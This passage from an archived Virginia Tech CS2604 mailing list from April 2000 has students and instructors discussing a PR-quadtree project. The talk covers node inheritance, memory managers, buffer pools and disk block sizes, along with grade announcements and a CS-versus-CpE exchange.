take, but the point is > >that no matter how much we dislike or how much we piss and moan about having > >to learn things we may never use again we still HAVE to take them. Hmm, the rift between CS and CpE shows itself again. :-) First, the software sequence in the CpE degree is critically important. (in that if they aren't completely in a timely succession, a CpE's graduation will probably be delayed). Secondly, any CpE that has any concept of how industry works, will know that software is critically important to the field (and becoming more so). Hardware is becoming more "off the shelf" and more systems are becoming more software driven (rather than hardware driven). So if a CpE says "all this programming crap" they're being foolish while showing their lack of understanding of the field and how things are done. Please don't let the few inexperienced CpE's taint your opinion of CpE's. Some of us are fascinated by OOA, OOD, and group software engineering among other software issues. As far as I'm concerned, I don't particularly enjoy the study of data structures (I think sorting algorithms are a cure for insomnia). And the detailed programming can be a little tiresome. However, the design aspects of the course are wonderfully fullfilling (for example, the design of P4 and the planning of how previously written code needs to be modified). So I believe there's stuff in the software field for every CpE's interests. As an aside, industry considers CpE graduates to be superior programmers as compared to CS graduates. The rigor of CpE is considered to surpass that of CS, thereby producing graduates that understand how to truely apply rigorous engineer problem-solving/design to software. Just think about that a little bit, please... (I know any CS will say this is heresy... :) ) > Ok... maybe we _should_ have written it with inheritance. But inheritance > != reusability. There is absolutely NO reason why the P2 code has to use > inheritance in order for us to be able to reuse it. I wrote my code with > the intention of reusing it in P4-- b/c that's what we were told to plan on > doing. I chose not to use inheritance, but does that mean my code isn't > reusable? NO! I agree (w/ my fellow CpE) that IN THIS CASE inheritance does NOT help code maintainability (ie, re-usability). As a matter of fact, like I've said before, using inheritance requires the PRTree class to use pointers. And like I've said a billion times before, I like to avoid pointers if it's reasonable to do so (as I believe decreasing the number of pointers increases your code's maintainability). So w/ my design, the PRTree class "has a" PRNode. No pointers to a PRNode! -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi // The VT Heavy "Metal Club" page: http://www.bigfoot.com/~vtmetal "He took ... it out." --Elaine (on _Seinfeld_) ------------------------------------------------------------------------- ========================================================================= Date: Tue, 11 Apr 2000 01:48:45 -0400 Reply-To: joowens@vt.edu Sender: CS2604 discussion list From: John Owens Subject: Re: Confusing Buffer Stuff In-Reply-To: <200004100521.BAA00882@brwagne2.campus.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit >Will a Block ID ever get filled w/ more than 1 insert (of "x y name")? >Please say no! :-) If you mean can there be 2 inserts in 1 block, it is easily possible if the blocks are large enough. The problem with this program is the way that you have to think about it. You cannot just simply think of it as a whole without thinking of it separately. Before you even THINK about the buffer pool, you have to make sure you understand how the rest of the project works. First, the disk storage is the same as it was in project 3, but it includes all of the data. The PR-Quadtree is stored in the file as well as the city names. Just like the other project, you have to have a way of telling the memory manager how much information to pull off of it. So you still have to store lengths in the file (which is also the memory pool) to make sure the memory manager knows how much to read in. Your node classes will have to be changed as well. Instead of having 4 pointers to other nodes (in internal nodes) you would have NW,NE,SW,SE of type handle (which could simply be an integer pointing to where that node starts on the disk) The nodes on disk also store all the necessary handles. At any given time, only 1 node will actually exist in memory (unless you coded your algorithm to require a parent or child to work correctly, so perhaps 2 if the case demands it) NOW, you can think about the buffer pool in reguards to simply ANY data that lies on the disk. Like in project 3, the buffer pool will grab sections of data from the file and write to the file when necessary. This still all works in the same format with the LRU. When you are to get a piece of data, you will know where it is in the file, and the beginning of that file contains the length. When this was written in the first place, the only way it could have been inserted is if there was a "FREEBLOCK" to write it to, so if it spans multiple blocks, it is adjacent in the file. Therefore you just read in the appropriate buffer(s) to get the length (of say the city) and then continue to read in that length of data. The insert command itself does not get stored in the block, it is inserted in the PR-QUADtree as normal, reading in each node until it gets to the appropriate location and then inserted with the proper handles. Now this would end up in the buffer pool, but it would get written eventually to disk. If the blocks were big enough to allow 2 new nodes to be entered, and a free block was listed to be right after the previous insertion, then 2 inserts would end up in the same "block" eventually. Does this make sense? ========================================================================= Date: Tue, 11 Apr 2000 02:25:53 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Patrick O'day Subject: Re: Inheritance Problem MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit yes, what you wrote will work, but I think you're missing the point of inheritance entirely. If it is done right you shouldn't need a function that tests what kind of node it is. Use overloading to take the same function call and have the derived class figure out what it's supposed to do. Example: both the internal and leaf nodes could have a getCity(int X,int Y). The internal nodes would implement this as traversing the tree to the right leaf node and the leaf node would implement this as returning the city. Then you don't need to know if something is an internal or leaf node, you can confidently call getCity(int X,int Y) and expect it to know what its supposed to do. Tanner Bonig wrote: > IF your tree accepts node of say, oh, type TreeNodeBase*, and you have two > derived classes from TreeNodeBase, one called TreeNodeLeaf, and > TreeNodeInternal... > ok, well for one, you should have a function in the base class (maybe the > only thing in the base class) saying something like bool isLeaf(void) so > that you can test what kind of node you have. > ok, so you got that all setup > now, when you create an internal node, and you want to stick it in the tree, > the tree only like's nodes of type TreeNodeBase*, but you probably have a > TreeNodeInternal*, ok, so just type cast it: (TreeNodeBase*) > SomeInternalNode. > Now, when you get a node from the tree, how do you know the type? so that > you can access the specific functions... that's right, the isLeaf function.. > (assuming you implemented a function in the derived TreeNodeInteral class > that returns false when the function bool isLeaf(void) is called) > > so you got this node of type NodeTreeBase* and you know it's a internal node > because you did a if (SomeNode->isLeaf()) > well then you cast it to an internal node like this > ((TreeNodeInternal*) SomeNode)->InternalFunction(); > > any more questions > oh, and a disclaimer... I'm just a student in the same class, I may be full > of it, so if I am (someone, anyone... PETER!??!) tell me.. > > Tanner > > oh, and P.S., that homework thing was just a joke... > > -----Original Message----- > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > Matt > Sent: Monday, April 10, 2000 11:04 PM > To: CS2604@LISTSERV.VT.EDU > Subject: Inheritance Problem > > I'm having a little problem with inheritance and type casting and don't know > exactly what to do about it. I'm playing with the portion of the program in > which you must implement the nodes of the PR quadtree as different classes, > all inheriting from a base class. What I want to do is have my tree point to > a base class node, and then simply assign the inherited children to the > node. I remember doing something very similar to this in OOP, using type > casting, but I can't get to work now. My OOP book says that this type of > cast is dangerous, but I know that there is a workaround, I just don't > remember what it is. Can anyone help? > --------------------------------------------------------------- > Matt Blair > www.cslab.vt.edu/~mablair2/ ========================================================================= Date: Tue, 11 Apr 2000 11:24:36 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Pratima Aiyagari Subject: change in office hours today MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, I will be available in McB 128 from 11 - 12 and again from 1 - 3. Sorry about the change. But this is temporary, and applies only today. Thanks, Pratima ========================================================================= Date: Tue, 11 Apr 2000 11:33:03 +0100 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: John Gordon Subject: Re: Project 4 spec MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit you stolded my quote.... :o( ----- Original Message ----- From: "Brian Wagner" To: Sent: Monday, April 10, 2000 6:15 AM Subject: Re: Project 4 spec > (Wow, this is an interesting and brutually honest thread > that I'll join in on very late. :) ) > > > At 12:39 PM 4/1/00 -0500, you wrote: > > >You said it all right there! We were not "required" to use inheritance, > > >but we should have written it in such a way that we could reuse it in a > > >later project. Reusability should be a general programming practice. If you > > >always write your code with the intention of being able to use it again > > >later > > >you save yourself a lot of rewrite time in the future. Granted maybe you're > > >a CPE major and "all this programming crap" is just something you HAVE to > > >take and you don't really give a damn about reusabilty. As a CS major I > > >could say the same about the CPE class I have to take, but the point is > > >that no matter how much we dislike or how much we piss and moan about having > > >to learn things we may never use again we still HAVE to take them. > Hmm, the rift between CS and CpE shows itself again. :-) > First, the software sequence in the CpE degree is critically important. > (in that if they aren't completely in a timely succession, a CpE's graduation > will probably be delayed). > > Secondly, any CpE that has any concept of how industry works, will know that > software is critically important to the field (and becoming more so). > Hardware is becoming more "off the shelf" and more systems are becoming more > software driven (rather than hardware driven). So if a CpE says "all this > programming crap" they're being foolish while showing their lack of > understanding of the field and how things are done. Please don't let the > few inexperienced CpE's taint your opinion of CpE's. Some of us are > fascinated by OOA, OOD, and group software engineering among other > software issues. > > As far as I'm concerned, I don't particularly enjoy the study of data > structures (I think sorting algorithms are a cure for insomnia). And the > detailed programming can be a little tiresome. However, the > design aspects of the course are wonderfully fullfilling (for example, the > design of P4 and the planning of how previously written code needs to be > modified). So I believe there's stuff in the software field for every CpE's > interests. > > As an aside, industry considers CpE graduates to be superior programmers > as compared to CS graduates. The rigor of CpE is considered to > surpass that of CS, thereby producing graduates that understand how to truely > apply rigorous engineer problem-solving/design to software. > Just think about that a little bit, please... (I know any CS will say this is > heresy... :) ) > > > Ok... maybe we _should_ have written it with inheritance. But inheritance > > != reusability. There is absolutely NO reason why the P2 code has to use > > inheritance in order for us to be able to reuse it. I wrote my code with > > the intention of reusing it in P4-- b/c that's what we were told to plan on > > doing. I chose not to use inheritance, but does that mean my code isn't > > reusable? NO! > > I agree (w/ my fellow CpE) > that IN THIS CASE inheritance does NOT help code maintainability > (ie, re-usability). > As a matter of fact, like I've said before, using inheritance requires the > PRTree class to use pointers. And like I've said a billion times before, > I like to avoid pointers if it's reasonable to do so (as I believe decreasing > the number of pointers increases your code's maintainability). > > So w/ my design, the PRTree class "has a" PRNode. No pointers to a PRNode! > > -- > // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi > // The VT Heavy "Metal Club" page: http://www.bigfoot.com/~vtmetal > "He took ... it out." --Elaine (on _Seinfeld_) > ------------------------------------------------------------------------- ========================================================================= Date: Tue, 11 Apr 2000 14:22:53 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Section 1371 HW 2 grades have been mailed MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Section 1371 HW 2 grades have been mailed. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Tue, 11 Apr 2000 14:57:59 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Disk block & record size In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 10 Apr 2000, James Moniz wrote: > First... > Say that file blocks are 10-bytes long and on the first insert, a record of > 13 bytes is inserted, meaning the space for 2 file blocks is allocated for a > total of 20 bytes, with 7 bytes wasted. (Disregard that the record is not > written to disk yet. For this example, the records get written immediately > to disk.) > > Then a record of 7 bytes is inserted. Will this record then be put into the > later half of the second block created above? Or will a new block of 10 > bytes be created and the record added to that, for a total of 3 blocks > created? Since there is room for the 7-byte record in the existing memory pool, it should go there. Only add space to the memory pool when the request cannot be serviced otherwise. > Second... > Is there a certain way expected to store the first record above, which is > longer than one block, in the buffer pool? Is there some way of reading the > first part of a record from the first block in the buffer pool and then > knowing to cross over to another (where ever it may be)? Think of the memory pool as being a big array. Things get stored in this array. It is irrelevent to anyone outside the bufferpool how that array relates to the blocks. The bufferpool puts stuff where it belongs, and takes stuff out, regardless of how many blocks it must access to do so. Of course, the bufferpool just copies the number of bytes it is told to copy. The bufferpool knows where those bytes are with respect to the blocks. So the bufferpool knows if it must read/write multiple blocks to service the request. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Tue, 11 Apr 2000 20:07:45 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: mliang Subject: Grades for section 1370 MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_0TOJmjGl8jPZwNL7TJFIng)" This is a multi-part message in MIME format. --Boundary_(ID_0TOJmjGl8jPZwNL7TJFIng) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable For section 1370, Grading sheets for HW2 have been sent out and the web has been updated = for the Hw2. Check it and if you have questions, contact me. Thanks, Min Liang --Boundary_(ID_0TOJmjGl8jPZwNL7TJFIng) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
For section 1370,
 
Grading sheets for HW2 have been sent = out and the=20 web has been updated for the Hw2. Check it and if you have questions, = contact=20 me.
 
Thanks,
 
Min Liang
--Boundary_(ID_0TOJmjGl8jPZwNL7TJFIng)-- ========================================================================= Date: Wed, 12 Apr 2000 00:42:45 +0100 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: John Gordon Subject: Re: Disk block & record size MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Ok, That was my line of thinking too, but then it brought about the immediate thought of "Why have blocks then?" If a block is not a standard size of a message, nor is it a maximum size for the message, what has it to do with the message stored on disk or in a buffer other than that it is a set length and the message is not, cant the block size be arbitrary and the program execute in the exact same manner if we allow more than one message to be stored to a block as well as allowing messages to span blocks? In other words, one of the following two things is now fossil code in our project 1)the memory manager entirely because it has no array type control of the memory at all because of the effect of blocksize, or 2)blocksize with relation to the bufferpool, it just gets in the way. Its like storing some integer "Jimmy" so that everybody knows that "Jimmy" is there, and each time you extract something you check to see if its ok with "Jimmy" and if its not, you have to do more disk accesses and put more nodes in the buffer, meaning that for the same amount of space, you get more memory overhead and a slower execution. So my "Big" question is isnt the only effect of the blocksize to slow down the program? And if so, shouldnt we just change our debug command to pretend that a message spans multiple blocks if thats ok with "Jimmy". I mean, it doesnt make any sense (twitch) jimmy (twitch twitch) doesnt compute see? I want block size to go away. It doesnt fit into project 4 except in the output of the debug and I dont want to sacrifice my morals for a lousy debug output. Can we just skip the whole "blocksize" concept and maybe have it extricated from the spec? Please? john "Ya gut scruuud" (surely somebody--somewhere ----- Original Message ----- From: "Cliff Shaffer" To: Sent: Tuesday, April 11, 2000 7:57 PM Subject: Re: Disk block & record size > On Mon, 10 Apr 2000, James Moniz wrote: > > > First... > > Say that file blocks are 10-bytes long and on the first insert, a record of > > 13 bytes is inserted, meaning the space for 2 file blocks is allocated for a > > total of 20 bytes, with 7 bytes wasted. (Disregard that the record is not > > written to disk yet. For this example, the records get written immediately > > to disk.) > > > > Then a record of 7 bytes is inserted. Will this record then be put into the > > later half of the second block created above? Or will a new block of 10 > > bytes be created and the record added to that, for a total of 3 blocks > > created? > > Since there is room for the 7-byte record in the existing memory pool, it > should go there. Only add space to the memory pool when the request > cannot be serviced otherwise. > > > Second... > > Is there a certain way expected to store the first record above, which is > > longer than one block, in the buffer pool? Is there some way of reading the > > first part of a record from the first block in the buffer pool and then > > knowing to cross over to another (where ever it may be)? > > Think of the memory pool as being a big array. Things get stored in this > array. It is irrelevent to anyone outside the bufferpool how that array > relates to the blocks. The bufferpool puts stuff where it belongs, and > takes stuff out, regardless of how many blocks it must access to do so. > > Of course, the bufferpool just copies the number of bytes it is told to > copy. The bufferpool knows where those bytes are with respect to the > blocks. So the bufferpool knows if it must read/write multiple blocks to > service the request. > > -- > Cliff Shaffer, Associate Professor Phone: (540) 231-4354 > Department of Computer Science Email: shaffer@cs.vt.edu > Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer > ------------------------------------------------------------------------- ========================================================================= Date: Wed, 12 Apr 2000 10:30:02 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Re: Disk block & record size In-Reply-To: <007801bfa40f$a2fe4220$7d6d52c6@pooky> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII You're not thinking on all levels. I/O with the disk is conducted in blocks; the I/O controller usually makes it truly impossible to read just six bytes out of the middle of a block. This is supposed to show you how a program works on all levels; you're basically writing the user-level program (P-R quad tree), operating system (memory manager), and hardware-level driver (buffer pool). (Though some parts of the buffer pool also qualify as operating system tasks.) So, you see, it's better that you do. Sometimes, the things that seem simpler are less efficient. That's your third lesson as a computer scientist. On Wed, 12 Apr 2000, John Gordon wrote: > Ok, That was my line of thinking too, but then it brought about the > immediate thought of "Why have blocks then?" If a block is not a standard > size of a message, nor is it a maximum size for the message, what has it to > do with the message stored on disk or in a buffer other than that it is a > set length and the message is not, cant the block size be arbitrary and the > program execute in the exact same manner if we allow more than one message > to be stored to a block as well as allowing messages to span blocks? In > other words, one of the following two things is now fossil code in our > project 1)the memory manager entirely because it has no array type control > of the memory at all because of the effect of blocksize, or 2)blocksize with > relation to the bufferpool, it just gets in the way. Its like storing some > integer "Jimmy" so that everybody knows that "Jimmy" is there, and each time > you extract something you check to see if its ok with "Jimmy" and if its > not, you have to do more disk accesses and put more nodes in the buffer, > meaning that for the same amount of space, you get more memory overhead and > a slower execution. So my "Big" question is isnt the only effect of the > blocksize to slow down the program? And if so, shouldnt we just change our > debug command to pretend that a message spans multiple blocks if thats ok > with "Jimmy". I mean, it doesnt make any sense (twitch) jimmy (twitch > twitch) doesnt compute see? > I want block size to go away. It doesnt fit into project 4 except in the > output of the debug and I dont want to sacrifice my morals for a lousy debug > output. Can we just skip the whole "blocksize" concept and maybe have it > extricated from the spec? Please? > john > "Ya gut scruuud" (surely somebody--somewhere > ----- Original Message ----- > From: "Cliff Shaffer" > To: > Sent: Tuesday, April 11, 2000 7:57 PM > Subject: Re: Disk block & record size > > > > On Mon, 10 Apr 2000, James Moniz wrote: > > > > > First... > > > Say that file blocks are 10-bytes long and on the first insert, > a record of > > > 13 bytes is inserted, meaning the space for 2 file blocks is allocated > for a > > > total of 20 bytes, with 7 bytes wasted. (Disregard that the record is > not > > > written to disk yet. For this example, the records get written > immediately > > > to disk.) > > > > > > Then a record of 7 bytes is inserted. Will this record then be > put into the > > > later half of the second block created above? Or will a new block of 10 > > > bytes be created and the record added to that, for a total of 3 blocks > > > created? > > > > Since there is room for the 7-byte record in the existing memory pool, it > > should go there. Only add space to the memory pool when the request > > cannot be serviced otherwise. > > > > > Second... > > > Is there a certain way expected to store the first record above, > which is > > > longer than one block, in the buffer pool? Is there some way of reading > the > > > first part of a record from the first block in the buffer pool and then > > > knowing to cross over to another (where ever it may be)? > > > > Think of the memory pool as being a big array. Things get stored in this > > array. It is irrelevent to anyone outside the bufferpool how that array > > relates to the blocks. The bufferpool puts stuff where it belongs, and > > takes stuff out, regardless of how many blocks it must access to do so. > > > > Of course, the bufferpool just copies the number of bytes it is told to > > copy. The bufferpool knows where those bytes are with respect to the > > blocks. So the bufferpool knows if it must read/write multiple blocks to > > service the request. > > > > -- > > Cliff Shaffer, Associate Professor Phone: (540) 231-4354 > > Department of Computer Science Email: shaffer@cs.vt.edu > > Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer > > ------------------------------------------------------------------------- > ========================================================================= Date: Wed, 12 Apr 2000 11:02:53 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Disk block & record size In-Reply-To: <007801bfa40f$a2fe4220$7d6d52c6@pooky> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The memory manager does not have access to the disk -- only to the buffer pool manager. The memory manager thinks in terms of "messages". The buffer pool manager accesses the disk in blocks. It takes "messages" and converts them to disk blocks. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- On Wed, 12 Apr 2000, John Gordon wrote: > Ok, That was my line of thinking too, but then it brought about the > immediate thought of "Why have blocks then?" If a block is not a standard > size of a message, nor is it a maximum size for the message, what has it to > do with the message stored on disk or in a buffer other than that it is a > set length and the message is not, cant the block size be arbitrary and the > program execute in the exact same manner if we allow more than one message > to be stored to a block as well as allowing messages to span blocks? In > other words, one of the following two things is now fossil code in our > project 1)the memory manager entirely because it has no array type control > of the memory at all because of the effect of blocksize, or 2)blocksize with > relation to the bufferpool, it just gets in the way. Its like storing some > integer "Jimmy" so that everybody knows that "Jimmy" is there, and each time > you extract something you check to see if its ok with "Jimmy" and if its > not, you have to do more disk accesses and put more nodes in the buffer, > meaning that for the same amount of space, you get more memory overhead and > a slower execution. So my "Big" question is isnt the only effect of the > blocksize to slow down the program? And if so, shouldnt we just change our > debug command to pretend that a message spans multiple blocks if thats ok > with "Jimmy". I mean, it doesnt make any sense (twitch) jimmy (twitch > twitch) doesnt compute see? > I want block size to go away. It doesnt fit into project 4 except in the > output of the debug and I dont want to sacrifice my morals for a lousy debug > output. Can we just skip the whole "blocksize" concept and maybe have it > extricated from the spec? Please? > john > "Ya gut scruuud" (surely somebody--somewhere > ----- Original Message ----- > From: "Cliff Shaffer" > To: > Sent: Tuesday, April 11, 2000 7:57 PM > Subject: Re: Disk block & record size > > > > On Mon, 10 Apr 2000, James Moniz wrote: > > > > > First... > > > Say that file blocks are 10-bytes long and on the first insert, > a record of > > > 13 bytes is inserted, meaning the space for 2 file blocks is allocated > for a > > > total of 20 bytes, with 7 bytes wasted. (Disregard that the record is > not > > > written to disk yet. For this example, the records get written > immediately > > > to disk.) > > > > > > Then a record of 7 bytes is inserted. Will this record then be > put into the > > > later half of the second block created above? Or will a new block of 10 > > > bytes be created and the record added to that, for a total of 3 blocks > > > created? > > > > Since there is room for the 7-byte record in the existing memory pool, it > > should go there. Only add space to the memory pool when the request > > cannot be serviced otherwise. > > > > > Second... > > > Is there a certain way expected to store the first record above, > which is > > > longer than one block, in the buffer pool? Is there some way of reading > the > > > first part of a record from the first block in the buffer pool and then > > > knowing to cross over to another (where ever it may be)? > > > > Think of the memory pool as being a big array. Things get stored in this > > array. It is irrelevent to anyone outside the bufferpool how that array > > relates to the blocks. The bufferpool puts stuff where it belongs, and > > takes stuff out, regardless of how many blocks it must access to do so. > > > > Of course, the bufferpool just copies the number of bytes it is told to > > copy. The bufferpool knows where those bytes are with respect to the > > blocks. So the bufferpool knows if it must read/write multiple blocks to > > service the request. > > > > -- > > Cliff Shaffer, Associate Professor Phone: (540) 231-4354 > > Department of Computer Science Email: shaffer@cs.vt.edu > > Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer > > ------------------------------------------------------------------------- > ========================================================================= Date: Wed, 12 Apr 2000 12:51:16 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: James Moniz Subject: Re: Disk block & record size In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello, > The buffer pool manager accesses the disk in blocks. It takes "messages" and > converts them to disk blocks. So, if for example you are working with blocks of 20 bytes and you have sent to the buffer manager a message of 13 bytes. Does the buffer manager write the 13 bytes + 7 null spaces, the full 20 bytes? If this is the case, then how would this fit in with the previously mentioned idea that a second record of 7 bytes would be written to the 7 bytes just after the 13 written by the first record. Why does it not get written in another block of 20 bytes, 7 used and 13 unused? If this is not the case, if the buffer manager writes the original 13 bytes only and then allows the writing of the second message of 7 bytes directly after it, then what is meant by the quoted statement "The buffer pool manager accesses the disk in blocks."? If, in an attempt to retrieve the second record, would the buffer manager ask to read 20 bytes starting a position 14 and we need to store at the head of the data the fact that, tho' you are getting 20 bytes back, only use the first 7 bytes? Thirdly, if the buffer manager writes in blocks of 20 and you send a record of 13 bytes, and you do end up storing directly after the 13 rather than the 20, then are you then to create a FreeBlock to point at the unused 7 bytes? Thanks James Moniz jmoniz@vt.edu ========================================================================= Date: Wed, 12 Apr 2000 13:23:13 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Disk block & record size In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Let me begin by saying that you appear to have an incorrect model of the interactions between the node class, the memory manager and the bufferpool. Until you get the model straight, none of this will make sense. On Wed, 12 Apr 2000, James Moniz wrote: > > The buffer pool manager accesses the disk in blocks. It takes "messages" > and > > converts them to disk blocks. > > So, if for example you are working with blocks of 20 bytes and you have > sent to the buffer manager a message of 13 bytes. Does the buffer manager > write the 13 bytes + 7 null spaces, the full 20 bytes? What do you mean by "write"? The buffer manager will make sure that the 13-byte message gets put in the right place in its buffers, and ultimately the disk file. As necessary, the buffer manager reads blocks from and writes blocks to disk. This process is irrelevent to the memory manager. > If this is the case, then how would this fit in with the previously > mentioned idea that a second record of 7 bytes would be written to the 7 > bytes just after the 13 written by the first record. Why does it not get > written in another block of 20 bytes, 7 used and 13 unused? You are thinking about it wrong. It is the memory manager that deals with free blocks and decides where messages get placed. The buffer pool just sticks bytes where it is told to. This process, incidently, requires disk I/O, but that is irrelevent to the memory manager. > If this is not the case, if the buffer manager writes the original 13 bytes > only and then allows the writing of the second message of 7 bytes directly > after it, then what is meant by the quoted statement "The buffer pool > manager accesses the disk in blocks."? If, in an attempt to retrieve the > second record, would the buffer manager ask to read 20 bytes starting a > position 14 and we need to store at the head of the data the fact that, tho' > you are getting 20 bytes back, only use the first 7 bytes? Yes, the MEMORY MANAGER, not the buffer pool, prepends onto its messages the length of the message being stored, so that it can later retrieve the necessary information (via requests to the buffer pool). > Thirdly, if the buffer manager writes in blocks of 20 and you send a record > of 13 bytes, and you do end up storing directly after the 13 rather than the > 20, then are you then to create a FreeBlock to point at the unused 7 bytes? The memory manager keeps track of free blocks in the memory pool. So, if a freeblock is created, removed, or modified due to requests to the memory manager, then it updates the free block list as appropriate. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Wed, 12 Apr 2000 14:31:02 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Matt Subject: Re: Disk block & record size MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit For my own personal clarification, let me see if I have this system right. A message is sent to the Memory Manager. The Memory Manager finds a place for it in, subtracts the necessary space from the free block pool, or creates a new space for the record, and then sends this message to the (Binary I/O) / (Buffer Pool) system. If that is correct so far, what happens if that empty space where the record is going to be inserted spans two buffers? Or what if the buffer pool contains half the section being dealt with? I would assume that the buffer with the first half of the record would go the front of the buffer pool, and the buffer containing the second half right of the message would go right after it, forcing a shift of all the buffers, and necessitating that a buffer be read in off the disk. Also necessitating a writing of a buffer to disk. What about when a buffer needs to be written to disk that contains half a record, what happens? Are both affected buffers written to disk? --------------------------------------------------------------- Matt Blair www.cslab.vt.edu/~mablair2/ ========================================================================= Date: Sun, 11 Apr 0100 15:31:17 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brian Wagner Subject: Re: Confusing Buffer Stuff In-Reply-To: <000901bfa379$9a9e5020$0201a8c0@vtacs.com> from "John Owens" at Apr 11, 0 01:48:45 am Content-Type: text Yes, that makes sense, NOW. The lack of documentation on the "what" of these project has again (for the nth time) caused me to misunderstand something. ;-( I understand that the memory manager works the same as before, but that it's working w/ a file (not RAM), and that it doesn't have direct access to the file. It must now go through a buffer pool. Overall, the memory manager couldn't care less about the concept of blocks in the file. I just wants all the data it requests, no matter in which block(s) it is retrieved from. > > >Will a Block ID ever get filled w/ more than 1 insert (of "x y name")? > >Please say no! :-) > > If you mean can there be 2 inserts in 1 block, it is easily possible if the > blocks are large enough. The problem with this program is the way that you > have to think about it. You cannot just simply think of it as a whole > without thinking of it separately. Before you even THINK about the buffer > pool, you have to make sure you understand how the rest of the project > works. First, the disk storage is the same as it was in project 3, but it > includes all of the data. The PR-Quadtree is stored in the file as well as > the city names. Just like the other project, you have to have a way of > telling the memory manager how much information to pull off of it. So you > still have to store lengths in the file (which is also the memory pool) to > make sure the memory manager knows how much to read in. Your node classes > will have to be changed as well. Instead of having 4 pointers to other > nodes (in internal nodes) you would have NW,NE,SW,SE of type handle (which > could simply be an integer pointing to where that node starts on the disk) > The nodes on disk also store all the necessary handles. At any given time, > only 1 node will actually exist in memory (unless you coded your algorithm > to require a parent or child to work correctly, so perhaps 2 if the case > demands it) NOW, you can think about the buffer pool in reguards to simply > ANY data that lies on the disk. Like in project 3, the buffer pool will > grab sections of data from the file and write to the file when necessary. > This still all works in the same format with the LRU. When you are to get a > piece of data, you will know where it is in the file, and the beginning of > that file contains the length. When this was written in the first place, > the only way it could have been inserted is if there was a "FREEBLOCK" to > write it to, so if it spans multiple blocks, it is adjacent in the file. > Therefore you just read in the appropriate buffer(s) to get the length (of > say the city) and then continue to read in that length of data. The insert > command itself does not get stored in the block, it is inserted in the > PR-QUADtree as normal, reading in each node until it gets to the appropriate > location and then inserted with the proper handles. Now this would end up > in the buffer pool, but it would get written eventually to disk. If the > blocks were big enough to allow 2 new nodes to be entered, and a free block > was listed to be right after the previous insertion, then 2 inserts would > end up in the same "block" eventually. Does this make sense? > -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi // The VT Heavy "Metal Club" page: http://www.bigfoot.com/~vtmetal "He took ... it out." --Elaine (on _Seinfeld_) ------------------------------------------------------------------------- ========================================================================= Date: Wed, 12 Apr 2000 15:47:09 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Disk block & record size In-Reply-To: <003301bfa4ad$4a98f960$ef54143f@126.0.0.1> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 12 Apr 2000, Matt wrote: > For my own personal clarification, let me see if I have this system right. A > message is sent to the Memory Manager. The Memory Manager finds a place for > it in, subtracts the necessary space from the free block pool, or creates a > new space for the record, and then sends this message to the (Binary I/O) / > (Buffer Pool) system. Correct. > If that is correct so far, what happens if that empty space where the record > is going to be inserted spans two buffers? Or what if the buffer pool > contains half the section being dealt with? I would assume that the 